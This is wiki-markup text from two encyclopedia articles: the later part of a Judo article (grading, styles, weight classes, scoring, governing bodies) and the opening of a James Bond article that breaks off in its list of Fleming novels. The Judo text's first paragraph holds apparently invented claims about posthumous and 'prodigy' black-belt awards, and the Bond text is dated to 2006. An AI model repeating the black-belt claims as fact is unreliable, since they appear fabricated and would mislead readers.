In most Western countries, Judokas have to pass an exam which is normally assesed by the Sensei (Teacher) within the '''Dojo'''. Judokas also have to compete in a grading competition against people of a similar grade. Once both parts have been completed it is possible for a Judoka to be promoted. The ''dan'' (black belt) ranks are awarded after doing an exam supervised by independent judges of the national judo association. However, some have been awarded black belts outside of this association. Examples include, Hori Akioya from Bogoto, Colombia, who was awarded a black belt after his death in a Judo match, and student prodigy Joseph Picthall from the United States who was awarded a black belt after defeating a renowned Grand Master in a tournament held in Seattle, Washington in 2000.

==Styles==
Jigoro Kano's [[Kodokan Judo]] (講道館) is not the only style of judo. Kano took the name Judo from Jikishin Ryu Judo, which is an older school but not really seen outside of Japan. A sub-style of Kodokan Judo that developed in Japanese inter-scholastic competition is known as [[Kosen judo]] (高專柔道) with the same range of techniques but greater latitude permitted for ''[[grappling#Ground grappling|Ne-waza]]'' (ground technique).

Teaching in France, Mikonosuke Kawaishi developed an alternative approach to instruction that continued to teach many techniques banned in modern competition.  In Austria, Julius Fleck and others developed a system of throwing intended to extend Judo that they called [[Judo-do]].

Mitsuo 'Count' Maeda introduced Judo to Brazil in the early 20th Century.  At this time, groundfighting ([[newaza]]) was very popular and not yet limited by the rules.  He taught Judo to Carlos Gracie (1902-94) and others in Brazil.  The terms Judo and Jiu-jitsu were at that time interchangeable.  [[Brazilian Jiu-Jitsu]] remained rather aloof to later changes in international Judo rules which added emphasis to the standing phase of the fight, and thus remains a distinctive form of Judo to this day.

==Sport==
[[Image:Vladimir Putin martial arts.jpg|thumb|200px|Russian President [[Vladimir Putin]] throwing a sparring partner at a training session in [[Novo-Ogaryovo]], [[16 June]] [[2002]]]]

Although a fully featured martial art, judo has also developed as a sport. Judo became an [[Olympic Games|Olympic]] sport for men in [[1964]] and, with the persistence of an American woman by the name of [[Rusty Kanokogi]] and many others, a sport for women as well in [[1988]] (both years given were the years that Judo was a demonstration event followed by an official medal event 4 years later). Men and women compete separately (although they often train together), and there are several [[human weight|weight]] divisions.

The seven divisions are:
{| class=&quot;wikitable&quot; 
|-
! colspan=&quot;7&quot; | Men
|-
| Up to and including 60 kg
| Over 60 kg up to and including 66 kg
| Over 66 kg up to and including 73 kg
| Over 73 kg up to and including 81 kg
| Over 81 kg up to and including 90 kg
| Over 90 kg up to and including 100 kg
| Over 100 kg
|-
! colspan=&quot;7&quot; | Women
|-
| Up to and including 48 kg
| Over 48 kg up to and including 52 kg
| Over 52 kg up to and including 57 kg
| Over 57 kg up to and including 63 kg
| Over 63 kg up to and including 70 kg
| Over 70 kg up to and including 78 kg
| Over 78 kg
|}

[[Collegiate]] competition in the [[United States]], especially between [[University of California, Berkeley|UC Berkeley]] and [[San Jose State]], contributed towards refining judo into the sport seen at the [[Olympic Games]] and World Championships.  In the [[1940s]] [[Henry Stone]] and [[Yosh Uchida]], the head coaches at Cal and SJSC, developed a [[weight class]] system for use in the frequent competitions between the schools. In [[1953]], Stone and Uchida successfully petitioned the [[Amateur Athletic Union]] to accept judo as a sport, with their weight class system as an official component.  In [[1961]], Uchida represented the United States at the [[International Judo Federation]] meetings in [[Paris]], where the IJF adopted weight classes for all future championships. Of course the IJF was created largely based on the earlier European Judo Union where weight classes had also been used for many years.

The object in a judo match is to throw your opponent to the ground. This will score an ''ippon'' (一本), a full point that wins the match. Anything else, such as landing your opponent on the hip or shoulder, will be ''waza-ari'' (技有), ''yuko'' (有効) or ''koka'' (効果) (''waza-ari'' being the highest of the 3, ''koka'' the lowest) or even no score. Technically speaking, a ''waza-ari'' is a half-point, two of which will earn the match. ''Yuko''s and ''koka''s are not fractional points in that they do not accumulate to equal a ''waza-ari'' or ''ippon''-- in fact a ''waza-ari'' beats any number of ''yukos'' and a ''yuko'' beats any number of ''kokas''. Rather, they are used as tiebreakers if the match ends before an ''ippon'' is scored. At match end, if one player has scored a ''waza-ari'' and the other has not, the player with the ''waza-ari'' wins, but if they are equal in that regard (both with zero or one) ''yuko''s are used to break the tie. If they are also equal in ''yuko''s, ''koka''s break the tie. Finally, if both players have identical scores, the match is resolved by having the contestants continue fighting in a sudden death overtime called the Golden Score period where the first contestant to get any score wins. If there is no score during this period, then the decision (majority vote) of the referee and two corner judges is used.

After the throw occurs and is scored, combat may continue on the ground. Pinning an opponent, with both shoulders on the mat, for 25 seconds (20 if you previously scored a ''waza-ari'', since two half-points will complete your ippon) results in an ''ippon''. An automatic ''ippon'' is also granted when one's opponent submits (which frequently occurs when strangle holds / arm locks are used). If there is no ''ippon'' or submission, the one with the highest score wins. Penalties may be given for being inactive during the match or using illegal techniques and fighting must be stopped if a participant is outside the designated area on the mat (''[[tatami]]'').

All scores and penalties are given by the referee. The judges can make a decision to change the score or penalty given by the referee.

==Sport and beyond==
Despite the literal meaning of ''judo'' being &quot;the gentle way&quot;, competition judo is one the roughest and most demanding of sports. A World Championship or [[Olympic Games|Olympic]] match lasts only 5 minutes, but will leave participants exhausted.

Without the kicking and punching so common to other martial arts, except in atemi-waza, which is taught to black belts, judo is often portrayed as friendlier than, for instance, [[karate]]. Proponents believe this contributes to judo being underrated as a method of self-defense.  However, while throws executed with proper break falls on soft mats can seem light and graceful, their more practical application on a hard surface (and potentially with greater intent to harm) could be very dangerous.  Even in the controlled environments of a match or dojo training session, injuries can easily occur due to a lapse in focus or overzealous application of a technique.

Due to their knowledge in [[ne-waza]]/[[grappling]] and [[tachi-waza]]/standing-grappling, various accomplished judo practitioners have also competed in [[mixed martial arts]] matches.  [[Hidehiko Yoshida]], an [[Olympic Games|Olympic]] gold medalist in 1992 and World Judo Champion in 1999, is well-known in [[PRIDE|PRIDE Fighting Championships]], as is [[Fedor Emelianenko]], PRIDE's current heavy weight champion.  [[Karo Parisyan]], an Armenian-born judoka now fighting in the [[Ultimate Fighting Championship]], has demonstrated the application of judo techniques to mixed martial arts in the United States. It should be noted that the ability to throw an opponent to his back and apply a pinning technique is of enormous importance in these kinds of competitions, as is the ability to finish off a downed opponent with strikes or a submission-move.  Judo, uniquely among combat sports, puts equal emphasis on the initial throwing and the final pinning and submitting phases of combat, ideally enabling practitioners to dominate grappling-fights from the get-go.

==Organization==
The international organization of judo is the IJF, or the International Judo Federation. In the US, there are several different national organizations. One is USA Judo, which also has state organizations which host state tournaments and other judo related activities.  The other national organizations are USJF, United States Judo Federation, and USJA, United States Judo Association. Each national organization in the US has its own promotion requirements, but they still have the same belt rank system.

In Great Britain, the British Judo Association (BJA) is the largest Judo Association and the only one affiliated to the IJF. Judo clubs can also be administered by the British Judo Council (BJC), which is popular in the north of England. Some minor judo administrations exist, such as the BJC-MAC (British Judo Council - Martial Arts Circle).

==See also==
*[[Kodokan]]
*[[Neil Adams]]
*[[Masahiko Kimura]]
*[[Anton Geesink]]
*[[Doug Rogers]]
*[[Judo at the 2004 Summer Olympics]] (and similar articles for other Olympic years)
*[[Sambo (martial art)|Sambo wrestling]], a Russian martial art partially based on Judo
*[[Brazilian Jiu-Jitsu]] (BJJ), a Brazilian variant of Judo where [[grappling#Ground grappling|newaza]] is emphasized
*[[Throw (grappling)]], More on throws

==External links==
{{wiktionary|judo}}
*[http://www.ijf.org/ IJF International Judo Federation]
*[http://www.usjf.com/ United States Judo Federation]
*[http://www.jwc2006.com/ XIII Junior World Judo Championships 2006]
*[http://www.judoinfo.com/ JudoInfo Online Dojo]
*[http://www.kodokan.org/ Kodokan Judo Institute]
*[http://www.ippon.org/ International Competition Results]
*[http://judoinfo.com/techjudo.htm Judo Techniques]
*[http://www.twoj.org/ The World of Judo Magazine]
*[http://www.karatedepot.com/judo-gi-guide.html About the Judo Gi]
*[http://www.judoinside.com/ JudoInside.com]
*[http://www.judocoach.com Judo Coaching Website]
*[http://www.judoplace.com/ Contains a brief history, photographs, and listing of techniques]
*[http://photoguide.jp/pix/thumbnails.php?album=51 Photos of All-Japan Judo Championships at Budokan in 2005]
*[http://members.lycos.co.uk/fight/judo/judo.html Judo History Archive] (lots of background information including [[Kosen judo]] and [[Brazilian Jiu-Jitsu]])
*Essay about [http://www.jiujitsu.org.au/kawaishi.html Mikonosuke Kawaishi]

=== British sites ===
{{commons}}
*[http://www.britishjudo.org.uk/ British Judo Association]
*[http://www.Zenjudo.co.uk/ Zen Judo Family]
*[http://www.ajajudo.org.uk/ Amateur Judo Association]
*[http://www.britishjudocouncil.org/ British Judo Council]

[[Category:Combat sports]]
[[Category:Gendai budo]]
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[[Category:Olympic sports]]
[[Category:Japanese martial arts]]

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{{redirect|007}}
[[Image:007.svg|300px|right|thumb|The James Bond 007 gun logo]]
'''James Bond''', also known as '''007''' (pronounced &quot;double-oh seven&quot;), is a [[fictional character|fictional]] [[United Kingdom|British]] [[espionage|spy]] created by writer [[Ian Fleming]] in [[1953]]. Fleming wrote numerous novels and short stories based upon the character and, after his death in [[1964]], further literary adventures were written by [[Kingsley Amis]] (pseudonym &quot;[[Robert Markham]]&quot;), [[John Pearson (author)|John Pearson]], [[John Gardner (thriller writer)|John Gardner]], [[Raymond Benson]], and [[Charlie Higson]]; in addition, [[Christopher Wood (writer)|Christopher Wood]] wrote two screenplay novelisations and other authors have also written various unofficial permutations of the character. 

Although initially made famous through the novels, James Bond is now probably best known from the [[EON Productions]] film series. Twenty films have been produced by EON featuring this character as well as two independently produced films and one [[United States|American]] television adaptation of Fleming's first novel under legal licence; however, it is generally considered that only the EON films are &quot;official.&quot; [[Albert R. Broccoli]] and [[Harry Saltzman]] produced most of the official films up until [[1975]] when Broccoli became the sole producer. His daughter, [[Barbara Broccoli]], and his stepson, [[Michael G. Wilson]], carried on the production duties together beginning in [[1995]].

To date, five actors have portrayed Bond in the official series, and a sixth is soon to make his appearance. They are:
*[[Sean Connery]] (1962&amp;ndash;1967; 1971)
*[[George Lazenby]] (1969)
*[[Roger Moore]] (1973&amp;ndash;1985)
*[[Timothy Dalton]] (1987&amp;ndash;1989)
*[[Pierce Brosnan]] (1995&amp;ndash;2002)
*[[Daniel Craig]] (2006&amp;ndash;present)

In addition, [[Barry Nelson]] played Bond in an [[Casino Royale|unofficial TV episode]] in 1954, [[David Niven]] played the role in an [[Casino Royale (1967 film)|unofficial film]] in 1967, and Connery played Bond again in an [[Never Say Never Again|unofficial film]] in 1983.

The twenty-first official film, ''[[Casino Royale (2006 film)|Casino Royale]]'', with Daniel Craig as Bond, is in production and is scheduled for a [[November 17]], [[2006]] release.

Broccoli's family company, [[Danjaq, LLC]], has co-owned the James Bond film series with [[United Artists]] Corporation since the mid-1970s, when Saltzman sold UA his share of Danjaq. Currently, [[Columbia Pictures]] and [[Metro-Goldwyn-Mayer|MGM]] (United Artists' parent) co-distribute the series.

In addition to novels and films, Bond is a prominent character in many [[James Bond games|computer and video games]], [[James Bond comic strips|comic strips]] and [[James Bond comic books|comic books]], and has been the subject of many [[James Bond parodies|parodies]].

==Overview==
[[Image:Fleming007impression.jpg|225px|thumb|Fleming's commissioned impression of 007 used as an example to aid the ''[[Daily Express]]'' comic strip artists.]]

===The character===
Commander James Bond, [[Order of St Michael and St George|CMG]], [[Royal Naval Volunteer Reserve|RNVR]] is an agent of the international arm of the British Secret Service headquartered in London in a tall, grey building overlooking [[Regent's Park]]. Under the cover name &quot;Universal Exports&quot; and later &quot;Transworld Consortium&quot;, Bond's fictional British Secret Service starting in 1995 takes on the actual name of the UK's [[Secret Intelligence Service]], commonly known as MI6. As an agent of the Secret Service, Bond holds code number &quot;007&quot;. The 'double-O' prefix indicates his discretionary [[Licence to kill (concept)|licence to kill]] in the performance of his duties.

Bond is the consummate [[womaniser]], drinker, and heavy [[cigarette]] smoker, at one point reaching 70 cigarettes a day. On average, however, Bond smokes 60 a day, although in certain novels Bond does attempt to cut back so that he can accomplish certain feats such as swimming underwater. He is also forced to cut back after being sent to a health farm per his superior's order. Regardless, the literary incarnation continues to smoke through many continuation novels. On film, Bond has been off and on. During the films starring Connery, Lazenby and Dalton Bond was a smoker, while during Moore's and Brosnan's tenure he doesn't smoke cigarettes, although he does occasionally smoke [[cigar]]s. The last time Bond smoked a cigarette on film was in 1989. 

James Bond is famous for ordering his [[Martini cocktail|vodka martinis]] &quot;[[shaken, not stirred]]&quot;, although the literary Bond also drinks [[gin]] martinis and [[bourbon]].

James Bond does have a quirk of being a &quot;know-it-all,&quot; more so on film. In ''[[Goldfinger]]'', he is able to calculate in his head how many trucks it would take to transport all the gold in [[Fort Knox]], and how long the gold would be [[radioactive]] after [[Auric Goldfinger]]'s [[atomic bomb]] detonates inside the vault. Bond's &quot;[[genius]]&quot; became a running joke during Roger Moore's era. Afterwards, it was virtually eliminated.

===Ian Fleming's creation and inspiration===
James Bond was created in February 1952 by Ian Fleming while on vacation at his [[Jamaica]]n estate called Goldeneye. The hero of Fleming's tale, James Bond, was named after an [[United States|American]] [[James Bond (ornithologist)|ornithologist of the same name]] who was an expert on [[Caribbean]] birds and had written a definitive book on the subject: ''[[Birds of the West Indies]]''. Fleming, a keen [[Birdwatching|birdwatcher]], owned a copy of Bond's field guide at Goldeneye. Of the name, Fleming once said &quot;I wanted the simplest, dullest, plainest-sounding name I could find, James Bond was much better than something more interesting like 'Peregrine Maltravers.' Exotic things would happen to and around him but he would be a neutral figure - an anonymous blunt instrument wielded by a Government Department.&quot; {{ref|Chancellor}}

After completing the manuscript for what would later be titled ''Casino Royale'', Fleming allowed his friend [[William Plomer]], a poet and later Fleming's editor, to read it. Plomer liked it enough that he gave the manuscript to [[Jonathan Cape]], who did not like it as much, but published it anyway due to the fact that Ian was the younger brother of [[Peter Fleming]], an established travel writer who also put in a good word for Ian.

Since the fictional James Bond's creation, hundreds of reports by various news outlets have suggested names for Ian Fleming's inspiration of Bond. Usually these people have a background of some kind in espionage or other covert operations. Although some names share similarities with Bond, none have ever been confirmed by Fleming, [[Ian Fleming Publications]] or any of Ian Fleming's biographers such as Fleming's assistant and friend, [[John Pearson (author)|John Pearson]]. Most researchers agree that James Bond is a highly romanticised version of Fleming himself; the author was known for his jetsetting lifestyle and reputation as a womaniser. Both, for the most part, went to the same schools, like the same foods (e.g., [[scrambled eggs]]), have the same habits (e.g., drinking and smoking), share the same view on women (e.g., how they should look and how they should dress), and have similar education and military careers both rising to the rank of Commander. Although the character of Bond is not known to be based on anyone but Fleming himself, the look of James Bond, famed for being &quot;suave and sophisticated,&quot; is based on a young [[Hoagy Carmichael]]. In ''Casino Royale'' the character [[Bond girl|Vesper Lynd]] says of Bond, &quot;He reminds me rather of Hoagy Carmichael, but there is something cold and ruthless.&quot; Other characteristics of Bond's look are said to be based on Fleming, such as his height, his hairstyle and his eye colour.

Fleming has, however, admitted to being inspired by true or partially-true events that took place during his career at the [[Naval Intelligence Division (UK)|Naval Intelligence Division]] of the [[Admiralty]]. Most notably, and the basis for ''Casino Royale'', was a trip to [[Lisbon]] that Fleming and the Director of Naval Intelligence, Admiral Godfrey, took during [[World War II]] en route to the United States. While there they went to the [[Estoril Casino]] in [[Estoril]], which, due to the neutral status of [[Portugal]] had a number of spies of warring regimes present. Fleming claimed that while there he was cleaned out by a &quot;chief [[Germany|German]] agent&quot; at a table playing [[Chemin de Fer]], however, Admiral Godfrey tells a different story, that Fleming only played Portuguese businessmen and that afterwards Ian had fantasised about them being German agents and the excitement of cleaning them out.

===The franchise===
[[Image:FromRussia1959.jpg|right|thumb|250px|''[[From Russia with Love]]'' is the novel credited with sparking the James Bond craze when it was listed as one of [[John F. Kennedy]]'s favourite books.]]
The James Bond franchise is currently the second all-time highest grossing film franchise in history, after ''[[Star Wars]]''{{ref|filmfranchise}}, and one of the longest running film series in history, spanning 20 [[#Official|official films]], 2 [[#Unofficial|unofficial films]], 1 TV episode based on ''Casino Royale'', and a cartoon television series spinoff. A new film, ''Casino Royale'', is currently in production with an expected release in November 2006. 

The James Bond novels and films have ranged from realistic spy drama to [[science fiction]]. The original books by Fleming are usually dark – lacking [[fantasy]] or gadgets. Instead, they established the formula of unique villains, outlandish plots, and voluptuous women who tend to fall in love with Bond at first sight &amp;mdash; the feeling often being mutual. The films expanded on Fleming's books, adding gadgets from [[Q (James Bond)|Q Branch]], death-defying stunts, and often abandoning the original plotlines for more outlandish and cinema-friendly adventures. The cinematic Bond adventures were initially influenced by earlier spy thrillers such as ''[[North by Northwest]]'', ''[[Saboteur (film)|Saboteur]]'', and ''[[Journey Into Fear]]'', but later entries became formulaic dramas where Bond saves the world from [[apocalypse|apocalyptic]] madmen. Inevitably, a villain tries to kill Bond with a [[deathtrap (plot device)|deathtrap]] during which the villain reveals vital information; Bond later escapes and uses the information to thwart the evil plot. In many cases, the villain then dies at Bond's hands, although early Bond films often ended with the villain either escaping or being killed by someone else.

The first actor to play Bond was American [[Barry Nelson]], in the 1954 [[CBS]] television production of ''Casino Royale'' in which the character became a U.S. agent named &quot;Jimmy Bond.&quot; In 1956, [[Bob Holness]] provided the voice of Bond in a [[South Africa]]n [[radio]] adaptation of Fleming's third novel, ''[[Moonraker]]''.

[[Albert R. Broccoli]] and [[Harry Saltzman]] started the official cinematic run of Bond in [[1962 in film|1962]], with ''[[Dr. No]]'' starring Sean Connery. Their production company, EON Productions, set up a semi-regular schedule of releases; initially annually, then usually once every two years, although there have been a couple times where the gap was larger, usually due to external events. Every Bond film has been a box office success to a lesser or greater degree. They continue to earn substantial profits after their theatrical run via [[videotape]], [[DVD]], and television broadcasts. In the UK, Bond holds three of the top five top spots of [[List of most-watched television episodes|the most-watched television movies]].

Since Bond's peak of popularity in 1965, with the release of ''Thunderball'', critics have often predicted that Bond's successful run would come to an end, usually believing that Bond was out of touch with the times. After the release of ''[[On Her Majesty's Secret Service]]'', George Lazenby quit the role of Bond for this very reason even though he was offered a seven-film contract. By the 1980s, some critics had grown tired of the films, commenting that the perennial [[sexism]] and glamorous locales had become outdated, and that Bond's smooth, unruffled exterior didn't mesh with competing movies like ''[[Die Hard]]''. The hard-edge of Timothy Dalton in the Bond films of the late 80s met a mixed response from moviegoers; some welcomed the earthier style reminiscent of Fleming's character, while others missed the light-hearted approach which characterised the Roger Moore era. While Dalton's final outing, ''Licence to Kill'' (1989), was financially successful, it did not prove as popular as previous Bond films. ''Licence to Kill'''s relative failure is usually blamed on a poor promotional campaign in the United States, Dalton's darker portrayal of Bond, and its status as the first Bond film to be rated [[PG-13]] in the U.S. and &quot;15&quot; in the UK. Regardless, a new Bond film was scheduled for release in 1991; however, legal wrangling over ownership of the character led to a protracted delay that would keep Bond off movie screens for the next six years during which time, Dalton had moved on.

The 1990s saw a revival and renewal of the series beginning with ''[[GoldenEye]]'' in 1995. Pierce Brosnan filled Bond's shoes with an elegant mix of Sean Connery cool and Roger Moore [[wit]]. The combination saw the success of Bond return to its standard stride it hadn't reached since 1979's ''Moonraker''.

==Biography of James Bond==
{{spoiler}}
===Early years===
James Bond is the son of a [[Scottish people|Scottish]] father, Andrew Bond, and a [[Switzerland|Swiss]] mother, Monique Delacroix, both of whom died in a mountain [[climbing]] accident in the [[Aiguilles Rouges]], when Bond was 11 years old. He subsequently went to live with his Aunt, Miss Charmian Bond, in [[Kent]]. Bond's family [[motto]], which was adopted by James Bond during &quot;Operation Corona&quot; in the novel ''[[On Her Majesty's Secret Service]]'' is ''Orbis non sufficit'' ([[Latin]] for &quot;The world is not enough.&quot;)

With the exception of the ''[[Young Bond]]'' series of novels by [[Charlie Higson]] launched in 2005, Bond for the most part is an [[ageless]] character in both films and literature. He is roughly in his late thirties. Many Ian Fleming biographers agree that Fleming never really intended to write as many James Bond adventures as he did and to keep writing the novels he had to &quot;tinker with Bond's early life&quot; and change dates to ensure Bond was the appropriate age for the service, particularly due to a statement in ''Moonraker'' that 007 faced mandatory [[retirement]] from the 00 Section at age 45. In the same novel Bond notes that he has only 8 years to go, thus in ''Moonraker'', Bond is 37 years old. This approximate age carries on in continuation novels written by Kingsley Amis, John Gardner, and Raymond Benson.

Due to Fleming's changes of dates and times in which events occurred, Bond's specific birth year is unknown. Most researchers or biographers have concluded that Bond was born in either 1920, 1921 or 1924. According to John Pearson's ''[[James Bond: The Authorised Biography of 007]]'', Bond was born on [[November 11]], [[1920]]; no Fleming novel supports this date, in fact, the novel ''You Only Live Twice'' makes a couple references to Bond's birth year being 1924. In the novel, M writes an obituary for James Bond after believing him to be dead. M writes that Bond left school when he was 17 years old and joined the [[Ministry of Defence (United Kingdom)|Ministry of Defence]] in 1941. If Bond was 17 in 1941, then he was born in 1924. Prior to this, Tiger Tanaka, the head of the Japanese Secret Service, states Bond was born in the [[year of the rat]], which supports 1924. A more complex date of birth, according to [[John Griswold]] and his authorised book ''Ian Fleming's James Bond: Annotations and Chronologies'', is [[November 11]], [[1921]] (November 11, being Pearson's date). Griswold notes that Bond's joining of the Ministry of Defence was originally written in Fleming's manuscript as 1939 (the same year Fleming joined). He contends that a lot of details in Bond's timeline make better sense with the original 1939 date. For instance, if one computes Bond's age for when he was admitted into the Ministry of Defence to when his parents died (1939 - 17 = 1922 + 11 = 1933) Bond would have been 11 in 1933 from January 1 through November 10 if he was born in 1921. 1933 is the year mentioned in ''Casino Royale'' for when Bond 'bought' his first Bentley. Since all of the years claimed for when Bond was born would have made him too young to purchase this Bentley, a more likely scenario is that he inherited it. [[Ian Fleming Publications]] recognised this issue for their ''Young Bond'' series of novels featuring Bond as a teenager in the 1930s and along with its author, Charlie Higson, defined Bond being born in the year 1920.

It is also debated where James Bond was born. According to Pearson, Bond was born near [[Essen, Germany|Essen]], [[Germany]]; however, Charlie Higson, in his novel ''SilverFin'' claims Bond was born in [[Switzerland]]. Regardless, Bond is unquestionably British.

Bond briefly attended [[Eton College]] starting at the age of &quot;12 or thereabouts&quot; (13 in ''Young Bond''), but was expelled after two halves when some &quot;alleged&quot; troubles with one of his maids came to light, although in the short story &quot;[[For Your Eyes Only#&quot;From A View to a Kill&quot;|From a View to a Kill]],&quot; Bond admits to losing his [[virginity]] on his first visit to [[Paris]] at the age of 16. After Eton, Bond attended and continued his education at [[Fettes College]] in [[Edinburgh]], [[Scotland]], his father's old school. In &quot;[[Octopussy and The Living Daylights#&quot;Octopussy&quot;|Octopussy]]&quot;, Fleming writes that Bond briefly attended the [[University of Geneva]]. With the exception of Fettes, Bond's attendance at these schools parallels Fleming's own life, as he attended these same schools. The film version of James Bond tacks on the additions of Bond being a graduate with a [[academic degree|degree]] in [[Asian languages|Oriental languages]] from [[University of Cambridge|Cambridge University]], as stated in ''You Only Live Twice''. He also attends (presumably at some point) [[University of Oxford|Oxford]] to study [[Danish language|Danish]] in ''Tomorrow Never Dies'', although in the film he's not there to study at all. Bond can speak a variety of different languages, most notably [[Russian language|Russian]] and [[Japanese language|Japanese]], although many times the languages Bond claims to know are contradicted between the film series, Fleming's novel series, and even later films and continuation novels.

In 1941, Bond lied about his age in order to enter the [[Royal Naval Volunteer Reserve]] during [[World War II]], from which he emerged with the rank of [[Commander]]. Bond maintains this rank while in the employ of the British Secret Service and through further continuation novels and in the films, however, Gardner promoted Bond to [[Captain]] in ''[[Win, Lose or Die]]''. Since Benson's Bond was [[Reboot (continuity)|rebooted]], Bond became a Commander again.

===007===
It is never stated when James Bond became a 00 agent. According to Fleming, after joining the RNVR, Bond is mentioned as to traveling to America, Hong Kong, and Jamaica. It is believed that it is during this time that Bond perhaps joined another organisation such as the [[Special Operations Executive|SOE]], the 00 Section of the British Secret Service, or perhaps as a commando in Fleming's own 30 Assault Unit (30 AU). One supporting reason is that Fleming describes Bond in the [[Ardennes]] firing a [[bazooka]] in 1944. This action really doesn't make any sense since Bond is supposedly in the [[Royal Navy]]. It can be assumed that by this time Bond has moved on to another organisation. In Bond's obituary from ''You Only Live Twice'', [[M (James Bond)|M]] alludes to Bond's rank as being cover.
&lt;blockquote&gt;
''To serve the confidential nature of his duties, he was accorded the rank of lieutenant in the Special Branch of the R.N.V.R., and it is a measure of the satisfaction his services gave to his superiors that he ended the war with the rank of Commander.'' &amp;mdash; M
&lt;/blockquote&gt;

Bond earns his stripes in the 00 Section by completing two tasks, which Fleming outlines in ''Casino Royale''. The first is the assassination of a [[Japan]]ese cipher expert on the thirty-sixth floor of the [[GE Building|RCA Building]] at [[Rockefeller Center]] in [[New York City]]. The second was the assassination of a [[Norwegian]] who became a double agent and betrayed two British agents. Bond travels to [[Stockholm]] where he kills the man in his sleep with a knife.

According to Bond, obtaining a 00 number is not hard so long as you're prepared to kill. Throughout Fleming's novel, further continuation novels, and even the films, Bond's attitude toward his job is similar. Bond dislikes taking life&amp;mdash;resorting to flippant jokes and off-hand remarks as after-the-fact relief, often misinterpreted as cold-bloodedness. Pearson's biography (disputed canonically) suggests Bond first killed as a teenager. The novel ''Goldfinger'' begins with Bond being haunted by memories of a small-time, [[Mexico|Mexican]] gunman he had killed with his bare hands days earlier and on film, specifically in ''[[The World Is Not Enough]]'', he admits that cold-blooded killing is a filthy business. Nonetheless, James Bond does kill when needed, and on film commits acts that might be considered [[murder]] in other circumstances (in ''[[Dr. No]]'', shooting Professor Dent in the back; killing the unarmed [[Elektra King]] in ''The World Is Not Enough''). The literary James Bond was reserved in his licenced killing, sometimes disobeying his orders to kill if the mission could be accomplished by other means. Such is the case in &quot;[[Octopussy and The Living Daylights#&quot;The Living Daylights&quot;|The Living Daylights]]&quot; where Bond makes a last second decision to disobey his orders and not kill an assassin. Instead Bond intentionally wounds the assassin and still manages to accomplish the mission. He later feels so strongly about his decision that he actually hopes [[M (James Bond)|M]] fires him for it; there are Fleming works in which Bond does not kill anyone. 

The cinematic James Bond (introduced in 1962) already had a history with the Secret Service. In ''Dr. No'', when reluctantly re-equipped with a 7.65 mm [[Walther PPK]] pistol replacing his [[Beretta]] automatic pistol, agent 007 protests, telling [[M (James Bond)|M]] that he has used the weapon for 10 years, suggesting he has been a secret agent for at least that long. Since ''Dr. No'' in both the literary and cinematic versions, Bond has used a Walther PPK in almost every adventure. In the film ''Tomorrow Never Dies'', Bond updates his gun to the latest model of the [[Walther P99]]. In the novels, Gardner replaced the PPK (eventually) with an [[ASP (handgun)|ASP 9mm]].

===Description and love life===
In the novels (notably ''From Russia, With Love''), Bond's physical description has generally been consistent: a three-inch, vertical scar on his left cheek (absent from the cinematic version); blue-grey eyes; a &quot;cruel&quot; mouth; short, dark hair, a comma of which falls on his forehead (greying at the temples in Gardner's novels); and (after ''[[Casino Royale]]'') the faint scar of the [[Russian language|Russian]] [[cyrillic]] letter &quot;Ш&quot; (SH) on the back of one of his hands (carved by a [[SMERSH (James Bond)|SMERSH]] agent).

In both the literary and cinematic versions of ''[[On Her Majesty's Secret Service]]'', James Bond marries, but his bride, [[Tracy Bond|Teresa di Vicenzo]] (Tracy), is killed on their wedding day by his archenemy, [[Ernst Stavro Blofeld]]; the event resonates in both versions of the character for many years thereafter. In the novels, Bond gets [[revenge]] in the following novel, ''You Only Live Twice'', when he by chance comes across Blofeld in [[Japan]], whilst the cinematic Bond takes on Blofeld in ''[[Diamonds Are Forever]]'' with an ambiguous result. Later, in the pre-titles sequence of ''[[For Your Eyes Only]]'', Bond dispatches a bald, wheelchair-bound man who bears a startling resemblance to Blofeld. The character is not named for legal reasons connected with Eon's ongoing dispute with Kevin McClory and many have speculated that this episode represents both Bond closing the book on Blofeld and Eon demonstrating to McClory that they had no dependence on the Blofeld character.

Bond had one child, by Kissy Suzuki in ''You Only Live Twice'', although he did not know of the boy's existence until sometime later. Exactly when he learned this is not known; however he is aware of his son, James Suzuki, by the time of Raymond Benson's short story &quot;[[James Bond uncollected short stories#&quot;Blast From the Past|Blast From the Past]].&quot;

===Alternate biographies===
An interesting, if wholly [[canon (fiction)|noncanonical]], conjecture about the Bond lineage can be found in [[Alan Moore|Alan Moore's]] comic book series, ''[[The League of Extraordinary Gentlemen]]'', set in [[Victorian England]]. In it, the portly, sinister, and secretive MI6 agent placed in charge of the League is named [[Campion Bond]]. His superior, the overall director of the top-secret team, is code-named [[M (James Bond)|M]], an obvious reference to the Bond mythos. Later in &quot;League,&quot; it is revealed that this &quot;M&quot; is none other than Professor James Moriarty, the archnemesis of Sherlock Holmes. The second miniseries would continue the Holmes link, as MI6 would be taken over by Mycroft Holmes as the new &quot;M.&quot; Although Moore makes no overt connection between Bond and Campion, the saturation of literary reference in the comics has led fans to propose that Campion is meant to be an ancestor of the modern secret agent. His first name, Campion, is believed to be a reference to fictional detective [[Albert Campion]].

A second (non-canonical) son is suggested in the [[Marvel Comics]] series [[Master of Kung Fu]]. Clive Reston, a supporting character in the series, resembles Bond in many respects and is an MI6 agent himself. While it is never stated explicitly, dialogue strongly hints that Reston is Bond's son and the grand-nephew of [[Sherlock Holmes]]. In his fictional biographies, author [[Philip Jose Farmer]] suggests that Bond belongs in the [[Wold Newton family]] tree along with [[Tarzan]], [[Doc Savage]], and many other fictional heroes. Followers of Farmer's speculations have greatly elaborated on Bond's family.

==Novels==
===By [[Ian Fleming]]===
[[Image:IanFleming.jpg|right|thumb|200px|Ian Fleming. Photo: [[Horst Tappe]].]]
In February 1952, Ian Fleming began work on his first James Bond novel. At the time, Fleming was the Foreign Manager for [[Kemsley Newspapers]], an organisation owned by the ''[[London Sunday Times]]''. Upon accepting the job, Fleming asked that he be allowed two months vacation per year. Every year thereafter until his death in 1964, Fleming would retreat for the first two months of the year to his Jamaican estate, Goldeneye, to write a James Bond novel.

{| class=&quot;wikitable&quot;
|- style=&quot;vertical-align: top;&quot;
|
*[[1953 in literature|1953]] ''[[Casino Royale]]''
*[[1954 in literature|1954]] ''[[Live and Let Die]]''
*[[1955 in literature|1955]] ''[[Moonraker]]''
*[[1956 in literature|1956]] ''[[Diamonds Are Forever]]''
*[[1957 in literature|1957]] ''[[From Russia with Love]]''
*[[1958 in literature|1958]] ''[[Dr. No]]''
*[[1959 in literature|1959]] ''[[Goldfinger]]'' 
|
*[[1960 in literature|1960]] ''[[For Your Eyes Only]]''
*[[1961 in literature|1961]] ''[[Thunderball]]''
